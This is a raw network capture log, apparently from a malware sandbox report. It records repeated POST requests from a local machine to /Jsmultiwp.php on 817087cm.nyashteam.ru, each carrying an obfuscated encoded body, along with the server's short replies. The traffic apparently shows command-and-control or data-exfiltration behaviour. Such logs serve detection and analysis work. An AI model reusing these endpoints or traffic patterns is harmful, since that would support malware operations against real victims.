Dec 10, 2024 19:02:25.760548115 CET	2528	OUT	Data Raw: 55 5f 5d 5c 58 5c 50 56 5c 56 5b 59 50 58 5a 59 50 5d 59 54 50 5f 53 5a 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U_]\X\PV\V[YPXZYP]YTP_SZ_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#^1(,Y!Q#'!Z7<'; 285P X;?^!";,$_" X(7
Dec 10, 2024 19:02:26.846625090 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:27.496062040 CET	817	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iMNznikA%2FrKYRPc%2Ffl0S6ZRR0TakA%2BLGeaUfXHFC2h1S%2FTmxMWU7k7poOTsGLtWIpVu7yCPbQCOU6uJ6lOymSebTYbPoQffl%2FUvIqh2xBuY2L0XixT814UvA0jB6DugG2KXuHgN5XKA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff255c3dc3d761-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=173036&min_rtt=165400&rtt_var=77298&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6446&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49973	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:27.737669945 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2516 Expect: 100-continue
Dec 10, 2024 19:02:28.088711977 CET	2516	OUT	Data Raw: 50 5f 5d 52 5d 58 50 50 5c 56 5b 59 50 5d 5a 59 50 5d 59 59 50 54 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: P_]R]XPP\V[YP]ZYP]YYPTS[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 235Z?Z$\",C='=7/$';15#!\/?7]!U,+$_" X('
Dec 10, 2024 19:02:29.164959908 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:29.480071068 CET	806	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gwPzfgi8qDYxyBtO1ocPR4n2OrkKRvUp4xfmpqISnTmm0YSNE4DwdchlCuQ0eA84XcpM4tk0HBBJCY8%2BW8LS%2BYh0qw7fnERq7c8WFhPTtGKPUjkVwGRqlyMeOapOubTkgPX2OeGqeAY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff256acd71d75a-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174175&min_rtt=168461&rtt_var=74602&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2815&delivery_rate=6816&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a Data Ascii: 41]^V
Dec 10, 2024 19:02:29.703059912 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49979	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:29.941271067 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:30.291949987 CET	2528	OUT	Data Raw: 55 59 5d 58 5d 5b 55 55 5c 56 5b 59 50 55 5a 59 50 5e 59 5c 50 5a 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UY]X][UU\V[YPUZYP^Y\PZS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%#%+!4?*$-^ 43;_2%T7\,<<6S8;$_" X(
Dec 10, 2024 19:02:31.071196079 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:31.488723040 CET	810	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fRxKPSLwLgjuPtDbFV%2BGZajTmbUIYpedrifcysf2UAczUxYpgXz6RGbx02Kta4SVM3HKMP0WZzZDL3s4aQSa3rqLn3uvmv5lbvnOFk6RQui7SbcIWBmX%2BDSENAu19dQS%2FG73OmH6X9g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff257739c34238-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8414&min_rtt=6184&rtt_var=6779&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=60770&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49984	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:31.745495081 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49986	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:32.164932013 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:32.510560036 CET	1856	OUT	Data Raw: 55 58 58 5d 5d 59 50 53 5c 56 5b 59 50 5a 5a 5c 50 5e 59 5c 50 5b 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UXX]]YPS\V[YPZZ\P^Y\P[S[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#Y'0.(<3!$>$> Z<$82""+6-<8!7V,;$_" X(
Dec 10, 2024 19:02:33.592298985 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:34.122500896 CET	968	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FbAY7xlZ2%2B1LdBYVg00y2J00DhXDxyoVBLBtMdH2FDa%2FQUWJqx227eK2umSxbRMwrpSKbiBJOHOQLvWVazru8hH067IrNSQKzpGo8%2BYoXW%2B0c6nNSMmTMBne26zCIXk21abnM%2BExyiU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25867d93d79b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=174242&min_rtt=168221&rtt_var=75125&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=6747&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 5e 37 3b 2b 12 21 0b 3a 00 2d 07 3c 1e 2d 28 3b 58 3a 06 39 1b 35 39 08 13 39 3f 3a 13 3c 5d 2f 5a 26 21 26 5a 24 36 0f 50 2a 24 28 51 06 1c 25 18 25 2a 0b 0b 2a 3f 2a 00 33 3d 3c 5f 3d 34 25 5b 29 2e 23 52 34 3b 28 18 25 04 38 0b 3c 11 3d 55 33 02 22 19 38 33 0b 1c 31 17 2a 51 00 16 21 50 28 0f 1d 02 37 0e 36 57 21 32 19 07 3c 26 34 00 30 3d 28 54 30 02 00 1e 25 2c 3f 16 24 11 22 0b 24 5a 33 14 34 3f 3b 52 26 33 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'^7;+!:-<-(;X:9599?:<]/Z&!&Z$6P$(Q%%?3=<_=4%[).#R4;(%8<=U3"831*Q!P(76W!2<&40=(T0%,?$"$Z34?;R&3#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49987	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:32.289793968 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:32.635636091 CET	2528	OUT	Data Raw: 55 5e 5d 58 5d 58 55 53 5c 56 5b 59 50 5b 5a 5c 50 5d 59 54 50 5a 53 5e 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U^]X]XUS\V[YP[Z\P]YTPZS^_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ & -]=,<[54?)4-_ '$#&]:"+>;?<6W48$_" X(;
Dec 10, 2024 19:02:33.705897093 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:34.845736980 CET	813	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MSblUD11%2FuJs64M19kRZvyZBAt7haOj7m9ulsZIF5yGs6K9gTMME4dzBcNXGWo9%2BDJMKB1cR1fbZQMPs8xRRTop11yERC9r7DOsCeiuqSic1eoQxf4%2F8ICzUY6XrswvCMjNJ8whpl4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25872d32af85-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171341&min_rtt=165884&rtt_var=73121&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=6967&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49995	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:35.081666946 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:35.432568073 CET	2528	OUT	Data Raw: 55 55 5d 58 5d 5f 55 54 5c 56 5b 59 50 5e 5a 5d 50 54 59 55 50 5e 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UU]X]_UT\V[YP^Z]PTYUP^S]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#20=[+? ]6$0*7&#?3^'\$+- 5Z//\517U;;$_" X(/
Dec 10, 2024 19:02:36.168581963 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:36.678710938 CET	812	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6s1ICvhm59mWxly29HfrW8IImbWLc%2FxGp5B2QogIj8ORAxkAw85KCoxvJ8Rqhmrv9oV0XYXu3eoS8jqzBYSER3Qh7eKVPlXpd%2B9QgTuou8YZ8b%2FgUBJRKLUhx%2BiBS8IX7SoCKfZV09s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff259719ac4302-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3989&min_rtt=1666&rtt_var=5271&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=72084&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49999	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:36.924465895 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:37.276237965 CET	2528	OUT	Data Raw: 50 59 5d 5c 58 5d 55 56 5c 56 5b 59 50 5f 5a 58 50 5c 59 5a 50 5b 53 5d 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: PY]\X]UV\V[YP_ZXP\YZP[S]_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%=<?"$=!Z#/$+81+)P"+6;<+51'R,+$_" X(+
Dec 10, 2024 19:02:38.451028109 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:38.956494093 CET	811	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dv4BkcpMNtrasFoP6so7A345pN3SBT64VXNmodWT116J9nCtY7MkRxYQNGKPMck%2BRIr73aKd9%2BR4diPz86vnKJgCKpFV1XBTL4y722dPr6MdUD8v7RuaqZXZyEt7OIn72CAJ3hXNglU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25a44eaff5b3-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=182699&min_rtt=167797&rtt_var=92729&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=5086&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	50006	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:39.256949902 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 1856 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:39.604379892 CET	1856	OUT	Data Raw: 55 58 5d 5e 5d 5b 50 57 5c 56 5b 59 50 5e 5a 5a 50 58 59 58 50 59 53 5c 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: UX]^][PW\V[YP^ZZPXYXPYS\_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#%0=<?(\"7?>'!#<8$'1& ^*,?6W'U,$_" X(/
Dec 10, 2024 19:02:40.343329906 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:40.814692020 CET	968	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2FuIx4dA8ekJM9xDiHg%2Bq%2FPyeMRb5DTlrn%2FSC16tkLV6Wvjrz9pnC9QYTJJc5Q7Ogy7gcWN9mIPwH0aKfSEma%2B%2BNqI%2FZTHsICkjJPcdjvKRQonlVaelHTpk9exqpMj9SrBSTK%2B1aX98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25b12c0741d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3650&min_rtt=1585&rtt_var=4725&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2179&delivery_rate=80627&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 15 27 13 20 38 2f 51 21 21 3e 00 2e 29 2c 59 2e 38 02 05 2e 28 2e 06 21 29 2e 5a 3a 02 39 01 28 3b 23 59 32 1c 2e 58 33 08 3e 0e 2a 1e 28 51 06 1c 25 15 24 03 21 09 3c 59 21 12 25 2e 3c 13 2a 19 36 03 29 00 23 50 20 5d 28 17 25 2d 3c 08 2b 59 39 54 30 3c 39 44 2f 1d 04 07 31 07 2a 51 00 16 21 53 2b 1f 38 12 23 0e 22 1c 22 21 28 5e 3f 1b 09 12 27 3e 28 57 33 2c 25 01 25 2f 2f 1b 24 2f 04 0e 24 12 3b 1a 23 3f 37 53 25 09 23 5d 2d 03 28 57 00 3f 5a 4f 0d 0a 30 0d 0a 0d 0a Data Ascii: 98' 8/Q!!>.),Y.8.(.!).Z:9(;#Y2.X3>(Q%$!<Y!%.<6)#P ](%-<+Y9T0<9D/1*Q!S+8#""!(^?'>(W3,%%//$/$;#?7S%#]-(W?ZO0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	50008	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:39.517879963 CET	323	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Dec 10, 2024 19:02:39.869988918 CET	2528	OUT	Data Raw: 55 5b 58 5d 58 5c 55 56 5c 56 5b 59 50 54 5a 5f 50 59 59 5d 50 5f 53 5b 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U[X]X\UV\V[YPTZ_PYY]P_S[_X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_ 105<67*$!7/?$7_$; 8-<;]".;$_" X(
Dec 10, 2024 19:02:40.636914015 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:40.891135931 CET	819	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RlGAhBfcQ0KdN9UZ7lvG6d2ZB4CzOWc8yTbc6%2B3jH18D%2BLz4nQOKWyzzNKJje2noIWA%2F%2B%2FjKz%2BOigJToi1UaFwmSXrA8N5VcgtMb4gIQlQOfVDhCigm5KG9k3oroju60W0S9MAN9Zcs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25b30aa1434a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29084&min_rtt=25727&rtt_var=16362&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2851&delivery_rate=27763&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	50013	104.21.2.8	80

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 19:02:41.130063057 CET	299	OUT	POST /Jsmultiwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 817087cm.nyashteam.ru Content-Length: 2528 Expect: 100-continue
Dec 10, 2024 19:02:41.479351997 CET	2528	OUT	Data Raw: 55 5c 5d 5c 58 5a 55 55 5c 56 5b 59 50 5f 5a 5c 50 5c 59 55 50 59 53 5f 5f 58 5d 5d 55 59 58 5f 41 5a 50 5c 5d 57 50 5f 5c 53 57 5a 54 53 52 55 50 50 5f 5e 5c 5f 54 56 56 5e 5e 5f 59 5c 5f 59 54 56 5f 5b 54 5f 51 56 5b 5e 42 59 58 5c 5c 52 53 5a Data Ascii: U\]\XZUU\V[YP_Z\P\YUPYS__X]]UYX_AZP\]WP_\SWZTSRUPP_^\_TVV^^_Y\_YTV_[T_QV[^BYX\\RSZ[P_Y_@WT^Z[]UQV\^SPQBX[U\R__GXUIQ[\]^WZ^QXY^\^Y[[PY]\^^X]U^DYXWXT\UUYB_YYS_PT]FU\Z[_X[WHZPZSPWXYY_YY\_#\&31Y?7"#=B9 +38;%(=U#(6//'"1 /$_" X(+
Dec 10, 2024 19:02:42.542716980 CET	25	IN	HTTP/1.1 100 Continue
Dec 10, 2024 19:02:43.471566916 CET	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 18:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X9FvOrPCvRujBavcdonJrHaoHdnn14LE1JCW%2Fc7IGjYkktKyQZ0HHD%2FE6unr8jaH3quEA%2B4xfwA2FBOmy7j%2FGZOx%2Ba%2Bpm%2FWlIjKBWVoUuUoV2V7f7pkZcn69o%2BCzTrQftSVfRtvZWQU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eff25be6f726863-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=171512&min_rtt=165166&rtt_var=74630&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2827&delivery_rate=6761&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 5d 5e 56 0d 0a 30 0d 0a 0d 0a Data Ascii: 41]^V0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	50019	104.21.2.8	80
